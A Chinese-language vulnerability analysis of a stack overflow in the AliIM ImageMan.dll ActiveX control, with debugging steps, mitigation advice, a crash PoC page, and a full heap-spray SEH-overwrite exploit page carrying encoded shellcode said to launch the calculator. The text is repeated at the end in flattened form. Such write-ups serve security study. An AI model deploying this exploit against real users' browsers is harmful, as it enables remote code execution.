分析某旺ActiveX控件ImageMan.dll栈溢出漏洞
字数 1458 2025-08-27 12:33:30

ImageMan.dll ActiveX控件栈溢出漏洞分析与利用

0x1 漏洞概述

漏洞名称: 阿里旺旺ActiveX控件ImageMan.dll栈溢出漏洞
漏洞类型: 栈缓冲区溢出
影响组件: ImageMan.dll (CLSID: 128D0E38-1FF4-47C3-B0F7-0BAF90F568BF)
危险等级: 高危
漏洞成因: AutoPic函数未对传入参数长度进行校验,导致栈缓冲区溢出
利用方式: 通过覆盖SEH异常处理结构指针实现任意代码执行

0x2 环境准备

测试环境配置

组件 版本/配置
操作系统 Windows XP SP3
阿里旺旺版本 AliIM2010_taobao(6.50.00C)
调试工具 OllyDbg (OD)
浏览器 Internet Explorer

0x3 漏洞分析

漏洞函数分析

漏洞位于ImageMan.dll中的AutoPic函数,该函数导出为ActiveX控件方法,可通过JavaScript调用。

关键问题:

  • 函数未对输入字符串长度进行校验
  • 使用不安全的字符串拷贝操作
  • 栈缓冲区大小固定但输入可控

崩溃分析

  1. 当传入超长字符串时,函数会将数据拷贝到固定大小的栈缓冲区
  2. 超出缓冲区范围的数据会覆盖栈上的关键数据
  3. 最终会覆盖SEH异常处理结构指针
  4. 触发异常后,程序执行流被劫持

调试过程

  1. 定位调用点:

    • 在OLEAUT32模块的DispCallFunc函数中设置断点
    • 跟踪call ecx指令进入AutoPic函数
  2. 溢出点定位:

    • 函数地址0x10011CAC处发生栈溢出
    • 观察栈区被"A"(0x41)字符填满
  3. 异常触发:

    • 溢出后堆栈平衡被破坏
    • 程序进入异常处理流程
    • SEH结构被覆盖导致控制流劫持

0x4 漏洞复现

POC代码

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
    var buffer = '';
    while (buffer.length < 1111) buffer+="A";
    target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

POC说明:

  • 创建长度为1111的"A"字符串
  • 通过AutoPic方法传入控件
  • 触发栈溢出导致程序崩溃

0x5 漏洞利用

利用技术

  1. 堆喷射(Heap Spraying):

    • 在内存中布置大量包含shellcode的堆块
    • 提高跳转地址命中shellcode的概率
  2. SEH覆盖:

    • 精确计算偏移覆盖SEH处理指针
    • 控制程序异常处理流程

EXP代码

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
    shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
    
    nops=unescape('%u9090%u9090');
    headersize =20;
    slackspace= headersize + shellcode.length;
    while(nops.length < slackspace) nops+= nops;
    fillblock= nops.substring(0, slackspace);
    block= nops.substring(0, nops.length- slackspace);
    while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
    
    memory=new Array();
    for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
    
    s='';
    for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D");
    target.AutoPic(s,"defaultV");
</script>
</body>
</html>

EXP关键点解析

  1. Shellcode构造:

    • 使用unescape编码的shellcode
    • 本例中是弹出计算器的代码
  2. NOP雪橇:

    • 使用%u9090构造NOP指令
    • 增加跳转命中率
  3. 堆喷射实现:

    • 创建大量内存块(200个)
    • 每个内存块包含NOP+shellcode
    • 填充内存增加shellcode出现概率
  4. 精确溢出:

    • 构造特定长度字符串(1000个"%0D")
    • 精确覆盖SEH处理指针

0x6 防护建议

  1. 厂商修复:

    • 增加输入参数长度校验
    • 使用安全字符串处理函数
  2. 临时缓解:

    • 禁用ImageMan.dll ActiveX控件
    • 设置kill-bit阻止控件加载
  3. 系统防护:

    • 启用DEP(数据执行保护)
    • 启用ASLR(地址空间布局随机化)
    • 使用最新版浏览器

0x7 总结

该漏洞是典型的ActiveX控件栈溢出漏洞,利用过程展示了:

  1. 如何通过JavaScript调用有漏洞的ActiveX方法
  2. 栈溢出漏洞的触发原理
  3. SEH覆盖技术的实际应用
  4. 堆喷射技术的实现方式

此类漏洞的利用需要精确计算偏移量,并配合内存布局技术才能成功执行任意代码。

ImageMan.dll ActiveX控件栈溢出漏洞分析与利用 0x1 漏洞概述 漏洞名称 : 阿里旺旺ActiveX控件ImageMan.dll栈溢出漏洞 漏洞类型 : 栈缓冲区溢出 影响组件 : ImageMan.dll (CLSID: 128D0E38-1FF4-47C3-B0F7-0BAF90F568BF) 危险等级 : 高危 漏洞成因 : AutoPic函数未对传入参数长度进行校验,导致栈缓冲区溢出 利用方式 : 通过覆盖SEH异常处理结构指针实现任意代码执行 0x2 环境准备 测试环境配置 | 组件 | 版本/配置 | |------|----------| | 操作系统 | Windows XP SP3 | | 阿里旺旺版本 | AliIM2010_ taobao(6.50.00C) | | 调试工具 | OllyDbg (OD) | | 浏览器 | Internet Explorer | 0x3 漏洞分析 漏洞函数分析 漏洞位于ImageMan.dll中的 AutoPic 函数,该函数导出为ActiveX控件方法,可通过JavaScript调用。 关键问题 : 函数未对输入字符串长度进行校验 使用不安全的字符串拷贝操作 栈缓冲区大小固定但输入可控 崩溃分析 当传入超长字符串时,函数会将数据拷贝到固定大小的栈缓冲区 超出缓冲区范围的数据会覆盖栈上的关键数据 最终会覆盖SEH异常处理结构指针 触发异常后,程序执行流被劫持 调试过程 定位调用点 : 在OLEAUT32模块的 DispCallFunc 函数中设置断点 跟踪 call ecx 指令进入AutoPic函数 溢出点定位 : 函数地址 0x10011CAC 处发生栈溢出 观察栈区被"A"(0x41)字符填满 异常触发 : 溢出后堆栈平衡被破坏 程序进入异常处理流程 SEH结构被覆盖导致控制流劫持 0x4 漏洞复现 POC代码 POC说明 : 创建长度为1111的"A"字符串 通过AutoPic方法传入控件 触发栈溢出导致程序崩溃 0x5 漏洞利用 利用技术 堆喷射(Heap Spraying) : 在内存中布置大量包含shellcode的堆块 提高跳转地址命中shellcode的概率 SEH覆盖 : 精确计算偏移覆盖SEH处理指针 控制程序异常处理流程 EXP代码 EXP关键点解析 Shellcode构造 : 使用unescape编码的shellcode 本例中是弹出计算器的代码 NOP雪橇 : 使用 %u9090 构造NOP指令 增加跳转命中率 堆喷射实现 : 创建大量内存块(200个) 每个内存块包含NOP+shellcode 填充内存增加shellcode出现概率 精确溢出 : 构造特定长度字符串(1000个"%0D") 精确覆盖SEH处理指针 0x6 防护建议 厂商修复 : 增加输入参数长度校验 使用安全字符串处理函数 临时缓解 : 禁用ImageMan.dll ActiveX控件 设置kill-bit阻止控件加载 系统防护 : 启用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 使用最新版浏览器 0x7 总结 该漏洞是典型的ActiveX控件栈溢出漏洞,利用过程展示了: 如何通过JavaScript调用有漏洞的ActiveX方法 栈溢出漏洞的触发原理 SEH覆盖技术的实际应用 堆喷射技术的实现方式 此类漏洞的利用需要精确计算偏移量,并配合内存布局技术才能成功执行任意代码。